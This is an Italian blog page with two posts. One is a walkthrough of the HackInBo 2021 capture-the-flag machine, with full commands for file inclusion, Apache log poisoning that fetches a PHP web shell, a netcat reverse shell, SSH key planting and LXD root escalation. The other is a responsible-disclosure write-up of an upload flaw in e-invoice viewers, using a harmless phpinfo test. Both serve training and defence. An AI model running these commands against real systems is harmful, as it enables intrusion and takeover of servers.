HackInBo 2021 CTF — Guida alla risoluzione

Durante la diciassettesima edizione di HackInBo (Safe Edition) si è svolta una competizione Capture The Flag organizzata da CyberTeam. Si tratta di gare in cui bisogna risolvere dei problemi di sicurezza informatica e provare a violare dei sistemi appositamente costruiti, guadagnando delle flag che danno diritto a un punteggio.

Tali competizioni costituiscono attività “ludiche” estremamente importanti per i colleghi che si occupano di penetration testing (tengono allenate le proprie capacità), ma anche per noi informatici forensi, perché ci permettono di migliorarci pensando come gli attaccanti e quindi risultare più efficaci quando dobbiamo analizzare un’intrusione informatica.

L’argomento della sfida, che si può ancora giocare online, è l’ottenimento di privilegi di amministratore a partire da un’applicazione web:

CTF creata ad hoc per l’evento che permette di mettere alla prova le proprie abilità boot to root. Partendo da una web application, con una serie di movimenti laterali bisognerà arrivare al root della macchina recuperando le 3 flag durante il percorso per arrivare al massimo livello dei privilegi amministrativi.

Questa pagina spiega dall’inizio alla fine il procedimento che ho seguito per risolvere i vari livelli. Se siete intenzionati a partecipare, vi consiglio di non leggere oltre in quanto ovviamente contiene spoiler.

Ricognizione iniziale

Dopo aver avviato una macchina virtuale con la propria distro preferita (per esempio Kali) e collegato la VPN, si può procedere a una scansione dell’host con Nmap:

$ nmap -P0 10.10.250.66
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-08 22:49 CET
Nmap scan report for dev.cyberteam.ctf (10.10.170.93)
Host is up (0.075s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 3.18 seconds

Si nota che sono aperte la porta SSH e quella HTTP. Ho dunque visitato l’URL nel browser, ottenendo una pagina di benvenuto con riferimento a un indirizzo email e a un account Twitter.

Pagina visualizzata collegandosi all’IP della macchina

Attività di OSINT

Visitando il profilo Twitter, si nota che l’utente ha pubblicato un contenuto un po’ sibillino:

Grazie a Wayback Machine ho recuperato un tweet precedentemente cancellato, il quale contiene delle credenziali (j0hn_d03 e la password P4$$w0RdS1Cur4). Resta da capire dove utilizzare queste credenziali.

Il vero sito web

Notando la scritta dev.cyberteam.ctf si può pensare che sia un virtual host, perciò ho inserito una riga DNS nel file /etc/hosts:

10.10.250.66 dev.cyberteam.ctf

Visitando questo indirizzo si ottiene un risultato diverso, con un modulo di login pronto ad accettare le credenziali trovate.

Modulo di login esposto dal virtual host

Dopo il login, si accede a un’area nascosta nel percorso /menu/. Le pagine sono gestite in un modo un po’ particolare, con link simili al seguente:

http://dev.cyberteam.ctf/menu/?view=news.php

Provando a modificare il parametro view risulta subito chiaro che c’è un filtro basilare sul contenuto inserito, che vieta valori “totalmente” arbitrari. Tuttavia, mantenendo fisso il prefisso news si può modificare ciò che segue senza scatenare ulteriori controlli. Ho verificato la vulnerabilità LFI accedendo alla lista degli utenti:

http://dev.cyberteam.ctf/menu/?view=newss/../../../../../../../etc/passwd
Inclusione di un file arbitrario nell’output visualizzato

Ottenere la prima shell

Ci sono alcuni modi diversi per ottenere l’esecuzione di comandi arbitrari in questo contesto. Personalmente ho deciso di seguire la guida di Null Byte, facendo eseguire codice PHP iniettato nel file di log di Apache. Ho deciso di sfruttare questa possibilità per caricare una comoda shell in PHP che mi permettesse di eseguire comandi un po’ più complessi in modo semplice.

Innanzitutto ho scaricato il file e lo ho reso disponibile sfruttando il server di Apache fornito da Kali (sulla macchina d’attacco):

$ curl https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php > /var/www/html/shell.txt
$ systemctl start apache2

Ho quindi iniettato il codice tramite Netcat:

echo "<?php echo shell_exec('wget -O /var/www/html/shell.php http://10.9.2.17/shell.txt'); ?>" | nc dev.cyberteam.ctf 80 

A questo punto è stato sufficiente usare la precedente vulnerabilità LFI per far stampare a video il file /var/log/apache2/access.log, scatenando l’esecuzione del comando desiderato. Questo mi ha permesso di ottenere una shell visitando il percorso http://10.10.250.66/shell.php, rendendo il resto del lavoro più semplice.

La shell PHP p0wny@shell

Da Netcat a una “vera” Bash

Il passaggio che ha portato all’ottenimento della prima flag per me è stato il più ostico, dopo aver sbattuto la testa per alcune ore ho deciso di lasciare perdere per un paio di giorni e ritornarci a mente fresca. La realtà è che la soluzione era molto più facile del previsto, ma non era realizzabile dalla shell PHP. C’era bisogno di una “vera” Bash che permettesse di eseguire comandi interattivi e accettasse quindi l’input dalla tastiera.

Il primo passo è stato ottenuto passando attraverso una reverse shell con l’uso di Netcat. Dato che il comando nc sulla macchina da attaccare era privo del parametro -e, ho usato Metasploit per generare un comando alternativo:

$ msfvenom -p cmd/unix/reverse_netcat LHOST=10.9.5.240 LPORT=4444 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 100 bytes
mkfifo /tmp/xhxxbgn; nc 10.9.5.240 4444 0</tmp/xhxxbgn | /bin/sh >/tmp/xhxxbgn 2>&1; rm /tmp/xhxxbgn

Ho lanciato nc -lvp 4444 per rimanere in ascolto nel mio terminale, quindi il comando suggerito da Metasploit nella shell PHP caricata in precedenza. Stabilita la connessione base con Netcat, ho invocato Bash tramite Python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Così facendo ho potuto provare a cambiare utente con il comando su j0hn_do3, tentando la fortuna con la password dell’applicazione web. La procedura di login ha funzionato ed è stato possibile accedere alla prima flag.

Accesso come utente j0hn_do3

Privilege escalation

Potendo esplorare i file contenuti nella home directory dell’utente j0hn_do3, ho notato subito la presenza di uno script denominato passwordgen.py che risulta di proprietà di h4k1nb0 e non modificabile. La cosa ancora più interessante è che questo script può essere lanciato dall’utente con il comando sudo, ottenendo quindi i privilegi di h4k1nb0:

$ cat /etc/sudoers.d/j0hn_do3
j0hn_do3 ALL = (h4k1nb0) /usr/bin/python3.6 /home/j0hn_do3/passwordgen.py

Il file è di proprietà di un altro utente, quindi non è modificabile. Tuttavia, il proprietario della cartella home lo può pur sempre rinominare! Perciò ho creato un nuovo file con il codice per eseguire Bash e li ho scambiati:

$ echo 'import pty; pty.spawn("/bin/bash")' > passwordgen2.py
$ mv passwordgen.py coso.py
$ mv passwordgen2.py passwordgen.py

Infine ho lanciato lo script e ottenuto una shell con i permessi di h4k1nb0, accedendo alla flag successiva:

sudo -u h4k1nb0 /usr/bin/python3.6 /home/j0hn_do3/passwordgen.py
Accesso come utente h4k1nb0

Per rendere il resto dell’attacco più pratico, ho deciso di inserire la mia chiave SSH pubblica nella lista di quelle autorizzate per l’utente:

echo "ssh-rsa AAAAB3Nz[...]KIU= kali@kali" > .ssh/authorized_keys

Ho chiuso la sessione e mi sono collegato con SSH, ottenendo la possibilità di usare l’autocompletamento e i tasti freccia per scorrere gli ultimi comandi digitati:

ssh h4k1nb0@dev.cyberteam.ctf

Accesso con privilegi di root

L’ultimo livello richiede di ottenere i privilegi amministrativi sulla macchina, in altri termini è necessario riuscire a ottenere un accesso con utente root. Cercando qualche appiglio riguardante l’utente h4k1nb0, è emerso un file nascosto chiamato .creds, dal contenuto apparentemente succulento:

$ cat .creds  
I'm tired of forgetting it!!!!!!


P0w3r0V3rw3LM1ng

Purtroppo questa si è rivelata una falsa pista. Dopo alcuni tentativi ho notato che l’utente appartiene a un gruppo particolare, vale a dire lxd:

$ grep h4 /etc/group
adm:x:4:syslog,h4k1nb0
cdrom:x:24:h4k1nb0
sudo:x:27:h4k1nb0
dip:x:30:h4k1nb0
plugdev:x:46:h4k1nb0
lxd:x:108:h4k1nb0
h4k1ngb0:x:1000:

Una veloce ricerca per “lxd group” rivela immediatamente un link molto interessante, cioè una guida piuttosto semplice per ottenere privilegi di root a partire dalla possibilità di avviare container LXD. Io ho usato il metodo 2.

Nella macchina di attacco ho scaricato il necessario e costruito un container con Alpine Linux:

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

Il file è stato copiato sulla macchina da violare:

scp alpine-v3.13-x86_64-20210218_0139.tar.gz h4k1nb0@dev.cyberteam.ctf:/home/h4k1nb0/

Infine, sul server ho importato ed eseguito il container:

lxc image import ./alpine*.tar.gz --alias myimage
lxd init
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh

Ciò ha permesso di ottenere una shell con accesso amministrativo e la possibilità di agire su qualsiasi file della macchina attraverso il mount point /mnt/root. La flag è nel percorso /mnt/root/root/root.txt.

Accesso con privilegi di root

Conclusioni

Seguendo le sfide proposte nella competizione, è stato possibile “bucare” un’applicazione web vulnerabile e scalare i privilegi fino ad arrivare al controllo totale della macchina.

Personalmente ho trovato abbastanza “sbilanciata” l’assegnazione dei punteggi delle flag, in quanto la parte più ostica è stata la prima, mentre il resto è stato risolto in meno di un’ora. Mi sono confrontato con un altro partecipante alla gara e anch’egli ha avuto un’impressione simile.

In ogni caso, sono grato agli organizzatori di HackInBo e a CyberTeam per avere reso possibile questa attività. Partecipare mi ha permesso di “rispolverare” strumenti come le reverse shell che non vedevo granché dai tempi delle competizioni CTF universitarie, nonché approfondire l’uso di Metasploit e l’ottenimento dei privilegi di root tramite LXD.

Chiaramente le gare CTF di sicurezza offensiva sono un po’ diverse da quelle di digital forensics, ma è molto importante partecipare a questi eventi in quanto fanno parte del continuo aggiornamento professionale, che oserei definire tassativo per chi si occupa di queste tematiche.

Come ti distruggo il sito web con una fattura elettronica

A partire da quest’anno, finalmente, è stata introdotto l’utilizzo della fatturazione elettronica verso tutti. Avendo lavorato allo sviluppo e l’implementazione di tutte le soluzioni software necessarie per un mio cliente (che gestisce uno studio di commercialisti), ho potuto vedere come molte aziende sono andate in panico per quella che è in realtà una novità bella, utile ed ecologica.

Ovviamente il formato delle fatture elettroniche è documentato, aperto e standard, per consentire a tutti quanti di creare software che permetta di generare fatture elettroniche, nonché visualizzare e importare quelle prodotte da altri. Esistono anche diversi siti web che forniscono un servizio di visualizzatore online per fatture elettroniche.

Una caratteristica interessante della fattura elettronica è il fatto che il formato consente l’inserimento di allegati, tramite l’uso di specifici tag XML e la codifica in base64 del documento allegato. Molti gestionali usano questa possibilità per inserire una rappresentazione in PDF dentro alla fattura elettronica XML. Si tratta della vecchia fattura “cartacea” digitale, più semplice da leggere ma senza valore legale.

Questo si traduce, dentro al file XML, in un codice simile a questo:

<Allegati>
    <NomeAttachment>documento.pdf</NomeAttachment>
    <Attachment>
    JVBERi0xLjcKJeLjz9MNCjIgMCBvYmoKPDwvQ291bnQgMSAvS2lkcyBbMSAwIFJdIC9UeXBlIC9QYWdl
    cyA+PgplbmRvYmoKCjUgMCBvYmoKPDwvTGVuZ3RoIDQgL1JlYWRkbGVQYWdlQmFja2dyb3VuZENvbnRl
    bnRTdHJlYW0gPDw+PiA+PnN0cmVhbQpxClEKCmVuZHN0cmVhbQplbmRvYmoKCjQgMCBvYmoKPDwvUHJv
    Y1NldCBbL1BERiAvVGV4dF0gPj4KZW5kb2JqCgoxIDAgb2JqCjw8L0NvbnRlbnRzIFs1IDAgUl0gL0Ny
    b3BCb3ggWzAgMCA2MTIgNzkyXSAvTWVkaWFCb3ggWzAgMCA2MTIgNzkyXSAvUGFyZW50IDIgMCBSIC9S
    ZWFkZGxlUGFwZXJJbmZvIDw8L0NvbG9ySWQgL1doaXRlIC9TdHlsZUlkIC9CbGFuayA+PiAvUmVzb3Vy
    Y2VzIDQgMCBSIC9Sb3RhdGUgMCAvVHlwZSAvUGFnZSA+PgplbmRvYmoKCjMgMCBvYmoKPDwvUGFnZXMg
    MiAwIFIgL1R5cGUgL0NhdGFsb2cgPj4KZW5kb2JqCgo2IDAgb2JqCjw8L0NyZWF0aW9uRGF0ZSAoRDoy
    MDE5MDExOTIzMTIzOCswMScwMCcpIC9Nb2REYXRlIChEOjIwMTkwMTE5MjMxMjM4KzAxJzAwJykgL1By
    b2R1Y2VyIChQREYgRXhwZXJ0IDIuNC4yMSBNYWMpID4+CmVuZG9iagoKNyAwIG9iago8PC9GaWx0ZXIg
    L0ZsYXRlRGVjb2RlIC9JRCBbPGM5NmM5NTBhZGJmZDY1OTE4Y2E0ZTVjNmNhNzVmOGE5PiA8Yzk2Yzk1
    MGFkYmZkNjU5MThjYTRlNWM2Y2E3NWY4YTk+XSAvSW5kZXggWzEgN10gL0luZm8gNiAwIFIgL0xlbmd0
    aCAzNyAvUm9vdCAzIDAgUiAvU2l6ZSA4IC9UeXBlIC9YUmVmIC9XIFsxIDQgNF0gPj5zdHJlYW0KeJxj
    ZGBguAjEDIxALABlME6GiSyDMTxhUkegDCY3EAMAc7sDeQplbmRzdHJlYW0KZW5kb2JqCgoKJSBQREYg
    RXhwZXJ0IDYwOSBNYWMgT1MgRG1nIDhiMTQ2ZWU0NzQyOSsKCnN0YXJ0eHJlZgo1ODIKJSVFT0YK
    </Attachment>
</Allegati>

Questo esempio può sembrare artificiale, ma in realtà la rappresentazione in base64 scritta qui sopra contiene un vero file PDF, con una sola pagina bianca completamente vuota in formato Letter. Naturalmente un documento con del testo occuperebbe più spazio.

Come potete notare, viene anche indicato il nome del file allegato.

I visualizzatori online

Perché vi ho spiegato tutti questi dettagli sugli allegati alle fatture elettroniche? È presto detto: mi era stato chiesto di cercare un visualizzatore che potesse mostrare agevolmente gli allegati. Tra i primi che ho trovato ce n’erano due:

Provando entrambi i servizi con una fattura contenente allegati, ho potuto verificare che tutti e due i siti (scritti in PHP) funzionavano nello stesso modo:

  1. L’utente carica un file XML
  2. Il sito lo riceve e ne crea una copia in una directory temporanea
  3. Il sito controlla la presenza di eventuali allegati, se presenti estrae anch’essi con il nome originale
  4. All’utente viene permesso di visualizzare graficamente il contenuto della fattura, con i link agli eventuali allegati

Nel caso in cui leggere il punto 3 non vi abbia fatti trasalire, sentendo un forte brivido corrervi lungo la schiena, posso dirvi che mi auguro non lavoriate nell’industria dello sviluppo software. Se invece lo fate, vi chiedo di rileggerlo un paio di volte.

La vulnerabilità

Permettere ad un utente di caricare dei file non è di per sé pericoloso, posto che vengano prese le misure di sicurezza necessarie. Tuttavia i siti analizzati effettuavano dei controlli sulla fattura XML ma non sugli allegati. Questo significa che era possibile creare una fattura (vera o finta, non ha importanza) con allegato un file con estensione PHP, il linguaggio più comunemente usato per programmare siti web.

I siti stessi estraevano i file PHP dagli allegati e li copiavano nella rispettiva directory temporanea, fornendone poi l’URL all’utente. Al malintenzionato di turno sarebbe bastato quindi inserire del codice malevolo per poi effettuare vari tipi di operazioni.

Per fare un test rivelatore ma innocuo, ho creato una fattura la cui sezione degli allegati è la seguente:

<Allegati>
    <NomeAttachment>wowowowo.php</NomeAttachment>
    <Attachment>PD9waHAgcGhwaW5mbygpOw==</Attachment>
</Allegati>

Potete visualizzare il documento completo cliccando qui. Il contenuto codificato corrisponde al seguente programma:

<?php phpinfo();

Si tratta di uno script inerte, che non arreca nessun tipo di danno al server sul quale viene eseguito, ma mostra soltanto le informazioni sulla versione del software installato. Perciò consente in modo semplice di verificare se il codice PHP gira correttamente.

Entrambi i siti summenzionati hanno accettato senza problemi la mia fattura emessa da Paperino a Zio Paperone, estraendo l’allegato in PHP e fornendone l’URL. Dagli screenshot potete vedere chiaramente che il codice veniva eseguito:

In realtà, pur avendo eseguito un codice assolutamente innocuo e privo di conseguenze, se io fossi stato un malintenzionato avrei potenzialmente potuto fare molto peggio. Per esempio, un attaccante avrebbe potuto decidere di caricare un file manager in PHP come questo su uno dei siti e usarlo per:

  1. Modificare il visualizzatore di fatture affinché salvasse una copia di ogni file caricato
  2. Alterare la pagina di login, in modo che le credenziali inserite dagli utenti finissero nelle mani sbagliate
  3. Creare pagine in una posizione qualsiasi del sito e usarle per una campagna di phishing
  4. Cancellare completamente tutto il sito web

No, non sto esagerando.

Conclusione

Quando si sviluppa del software, specialmente le applicazioni web esposte all’utilizzo indiscriminato di migliaia di utenti, prestare la massima attenzione alla sicurezza è assolutamente imprescindibile. In questo caso sussisteva un rischio per i dati caricati dagli utenti, nonché per i contenuti stessi del sito web che avrebbero potuto essere alterati o eliminati.

Il rischio dato dalla possibilità di upload di file da parte degli utenti si può eliminare in diversi modi:

  • Inserendo una whitelist di estensioni consentite (ad esempio PDF, JPG)
  • Disattivando l’esecuzione degli script nella directory di destinazione degli upload, in tal caso visitare un file PHP avrebbe mostrato il codice senza eseguirlo
  • Nel caso degli allegati di fatture, optando per non estrarli e ripresentarli all’utente tramite data URL (non tutti i formati sono consentiti, ma quelli ai file PDF sì)

Ovviamente i gestori di entrambi i siti web sono stati preventimente informati del problema ed è stato dato loro modo di correggerlo prima che questo articolo venisse pubblicato. L’autore di AmministrazioniComunali.it ha risposto con estrema prontezza comunicandomi di aver chiuso la falla.

Da quanto ho potuto vedere, tutti e due i siti hanno optato per la whitelist, che è un’ottima soluzione.

Come considerazione finale, aggiungo che prima di scrivere questo post ho verificato che anche Ser.Val. ha risolto la falla segnalata, anche se non avevo ricevuto risposta. Risulta degno di nota il fatto che sul loro server la pagina di informazioni mostrava la presenza di PHP versione 5.6, che è quantomeno bizzarro. Come avevo già avuto modo di commentare su Facebook, PHP 5.6 è una versione fuori supporto dal 31 dicembre 2018 e sarebbe bene migrare prontamente ad una versione più recente, nello specifico PHP 7.2 o 7.3.

Come già scrivevo in questo post di due mesi fa, è bene che chi opera in questo settore prenda sul serio l’importanza della sicurezza informatica. Eventualmente facendo anche analizzare la propria infrastruttura software da un consulente esterno.

Cronologia della responsible disclosure

  • 11 gennaio 2019: scorgo la presenza di una potenziale vulnerabilità
  • 13 gennaio 2019: notifico i gestori dei due siti web coinvolti
  • 14 gennaio 2019: AmministrazioniComunali.it risponde confermando di aver risolto il problema
  • 16 gennaio 2019: mi accorgo che anche Ser.Val. ha modificato il sito, senza però rispondere
  • 20 gennaio 2019: pubblico questo articolo
  • 22 gennaio 2019: Ser.Val. risponde confermando di aver risolto il problema ed effettuato una verifica interna per verificare eventuali data breach, ai sensi del GDPR

Aggiornamento del 22 gennaio 2019: Ser.Val. ha risposto alla mia segnalazione dopo la pubblicazione di questo post, ringraziandomi e descrivendo le contromisure che hanno adottato. Il contenuto del post è stato modificato per tenere conto di questa risposta.